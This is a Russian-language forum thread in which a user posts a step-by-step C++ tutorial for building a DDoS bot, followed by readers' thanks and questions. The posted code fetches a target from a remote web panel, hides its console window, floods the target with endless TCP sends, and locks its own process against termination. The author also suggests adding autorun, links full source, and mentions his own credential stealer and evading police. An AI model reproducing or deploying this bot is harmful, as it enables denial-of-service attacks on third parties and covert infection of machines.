Загрузка...

Авторская статья Пишем своего DDOS бота. C++

Тема в разделе C/C++ создана пользователем Checkerchin 25 окт 2018. 6797 просмотров

  1. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    ИСКЛЮЧИТЕЛЬНО ДЛЯ ТЕХ, КТО ИЗУЧИЛ C++ ХОТЯ БЫ НАПОЛОВИНУ.

    Всем приветос, сегодня будем писать ddos бота на C++.

    Программы, которые понадобятся (Которые я использовал):
    1. Visual Studio 2015
    На этом всё.

    Создаете новый проект, назовем его ddosguide.

    Ставим такие настройки:
    [IMG]
    ( https://ibb.co/jODSdA )

    Создаем .cpp файл с именем Main.cpp

    Напишите первоначальный код:
    Код

    #include <Windows.h>

    using namespace std;

    int main(){

    return 0;
    }

    Компилируем.

    Далее идем в свойства проекта:
    Project -> [имя проекта] properties.
    Или жмем Alt + F7.

    Configuration: all
    Linker -> Input -> Additional Dependencies
    Добавляем две статические либы:
    Код

    Wininet.lib
    ws2_32.lib
    Первая для HINTERNET
    Вторая для сокетов
    [IMG]
    ( https://ibb.co/f53kyA )
    Жмете Ок -> Применить -> Ок.

    Настройка проекта прошла успешно.

    Пишем код:

    Присоединим заголовочные файлы, который нам понадобятся:

    Код

    #include <Windows.h>
    #include <WinInet.h> //Hinternet
    #include <atlstr.h> // Семейство CString
    #include <thread> // Многопоточность

    Создадим два буфера, первый будет наш основной, для хранения IP, а второй для работы с ним.

    Код

    char buffer[2048]; //Хранение IP
    CStringA another_buffer;
    bool isddos = false;

    Сразу же инициализируем наш сокет:
    Код

    SOCKET s = INVALID_SOCKET;

    По поводу переменных все.

    Перейдем к функциям.
    Первая наша функция будет проверять IP адрес атакуемой цели.

    Код

    DWORD bytesRead;

    while (true) {
    isddos = false;
    HINTERNET hOpen = ::InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); //Открываем интернет соединение.
    HINTERNET hOpenUrl = ::InternetOpenUrl(hOpen, TEXT("тут ссылка на ваш сайт/ip.php"), 0, 0, 0, 0); //В IP.php должен быть ТОЛЬКО IP.
    // Иначе будет мусор

    InternetReadFile(hOpenUrl, buffer, (DWORD)2048, &bytesRead); // Читаем и записываем страницу

    buffer[bytesRead] = 0; //Убираем лишние.
    another_buffer = buffer;
    isddos = true;

    Sleep(900000);
    }

    Что такое 900000 ? Число. Это 15 минут в миллисекундах. Именно раз в 15 минут мы будем опрашивать нашу аля веб панель на IP адрес.

    Далее перейдем к подготовке нашего сокета и WSA.

    Код

    void SetUp() {
    WSADATA wd; //Структура для WSA
    if (WSAStartup(MAKEWORD(2, 2), &wd) == 0) {
    s = socket(AF_INET, SOCK_STREAM, 0); // Реализуем сокет
    hostent* host; // Структура для IP

    host = gethostbyname(another_buffer.GetString());

    SOCKADDR_IN sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.S_un.S_addr = *((unsigned long*)host->h_addr); //Записываем IP.
    /*
    Если вам нужно ddosить конкретный IP, то можете обойтись без структуры hostent.
    Сделайте вот так:
    sin.sin_addr.S_un.S_un_b.s_b1 = 127;
    sin.sin_addr.S_un.S_un_b.s_b2 = 0;
    sin.sin_addr.S_un.S_un_b.s_b3 = 0;
    sin.sin_addr.S_un.S_un_b.s_b4 = 0;
    */
    sin.sin_port = htons(80);

    if (connect(s, (sockaddr*)&sin, sizeof(sin)) == 0) {
    SendReq(s, "DDOS testing tool"); //Вызываем нашу функцию отправки пакетов. Кстати её пишите до SetUp()
    }
    }
    }

    Тут думаю все понятно.

    Теперь перейдем к отправке запросов.

    Код

    void SendReq(SOCKET so, CStringA buffer1) {
    while (isddos) {
    send(so, buffer1.GetString(), buffer1.GetLength(), 0); //Отправляем
    }
    }
    Кстати, если вас так не устраивает, то можете отправлять запросы при помощи HttpSendRequest из wininet
    https://stackoverflow.com/questions/10106816/how-to-contruct-httpsendrequest-method-of-wininet вот там примерчик (надеюсь это не посчитают за форум конкурент :admin:)

    Ну а теперь фукнция int main()

    Код

    int main() {

    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    //Убираем консоль

    thread check_th(check); //Запускаем в отдельном потоке функцию, которая сканирует наш файл на хостинге
    SetUp(); //Запускаем


    return 0;
    }

    Далее вы сами сделаете авторан и заблокируете возможность закрытие процесса, она кстати делается вот так:

    Код

    BOOL DenyAccess() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
    SECURITY_ATTRIBUTES sa;
    TCHAR * szSD = TEXT("D:P");
    TEXT("(D;OICI;GA;;;BG)");
    TEXT("(D;OICI;GA;;;AN)");
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = FALSE;

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL))
    return FALSE;

    if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor))
    return FALSE;

    return TRUE;
    }

    Полный исход: https://yadi.sk/d/YiZl4KZtKjxI1w

    Всем спасибо за внимание.
    #МояСтатья
    #ДайтеАвторкуПожалуйста)))

    RaysMorgan
     
    25 окт 2018 Изменено
  2. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    Пишите ваши вопросы.
    Пишите ваши мнения.
     
  3. White_Man
    White_Man 25 окт 2018 Децл дизайнер 171 8 авг 2017
  4. renameduser_471445
  5. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    нет. Тк не сейчас хостинга у меня без рекламы на каждой стр.
    Ну я подкинул идею, и половину реализации. Сам потестишь с ваершарком
     
  6. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    Спасибо
     
  7. RaysMorgan
    RaysMorgan 25 окт 2018 Че скажете 54 010 7 мар 2013
    Checkerchin, а в чем профит писать на плюсах, а не на шарпе?
     
  8. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    Декомпиляция шарпа очень меня беспокоит.
    Я даже стиллак свой переписал.
    А так шарп топ тема
     
  9. Retrl
    Retrl 25 окт 2018 $uicideboy$ in heart <3 0 27 фев 2017
    Checkerchin, как реверсить c++ ? не так же просто как # ?
     
  10. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    Насчет ревёрса не знаю. Вроде как реверсят и крупные проекты, особенно люди, которые делают читы.
    Декомпилировать его точно нельзя. Только дизассемблер.
     
  11. RaysMorgan
    RaysMorgan 25 окт 2018 Че скажете 54 010 7 мар 2013
    Checkerchin, а смысл ддос софт реверсить? Его жертва захочет разобрать?))
     
  12. sadovik
    sadovik 25 окт 2018 350 22 мар 2017
    Много умных людей, подскажите с чего начинать создавать онлайн кинотеатр?
     
  13. obirkos
    obirkos 25 окт 2018 Заблокирован(а) 274 1 янв 2018
    Вроде годно,спасибо за гайд!
     
  14. RaysMorgan
    RaysMorgan 25 окт 2018 Че скажете 54 010 7 мар 2013
    sadovik, с написания сообщений в подходящих темах
     
  15. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    Вот хз, типо если полиция, то воспользуются интернет фильтром, типо httpanalyzer. А так можно и на шарпе было написать.
     
  16. Retrl
    Retrl 25 окт 2018 $uicideboy$ in heart <3 0 27 фев 2017
    меня на майнер посадили , нашел и обезвредил , просто интересно код глянуть
     
  17. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
    Смотря какой майнер и смотря как защищен.
     
  18. muslik95
    muslik95 25 окт 2018 5 8 авг 2017
    Спасибо за гайд! Думаю пригодится)
     
  19. Retrl
    Retrl 25 окт 2018 $uicideboy$ in heart <3 0 27 фев 2017
  20. Checkerchin
    Checkerchin Автор темы 25 окт 2018 178 16 апр 2017
Загрузка...
Top